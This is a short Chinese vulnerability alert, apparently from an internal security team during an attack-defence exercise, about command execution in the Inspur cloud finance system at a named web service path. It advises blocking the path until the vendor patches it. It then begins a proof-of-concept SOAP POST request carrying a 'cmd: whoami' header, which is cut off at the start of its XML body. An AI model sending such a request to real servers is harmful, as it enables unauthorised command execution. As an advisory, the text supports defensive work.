【攻防演练】【含poc】【临时解决方案】浪潮云财务系统存在命令执行

【情报-漏洞预警】
【情报来源】：内部
【漏洞类型】：命令执行
【漏洞危害】：高
【情报简述】：关于浪潮云财务系统存在命令执行
【漏洞详情】：近日安全运营中心收到漏洞预警情报，浪潮云财务系统路
径/cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx存在命

临时措施：封堵该路径，等待厂商发布升级补丁。

POST /cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice Host: 
Content-Type: text/xml; charset=utf-8
Content-Length: 16396
SOAPAction: "http://tempuri.org/GetChildFormAndEntityList"
cmd: whoami


<?xml version="1.0" encoding=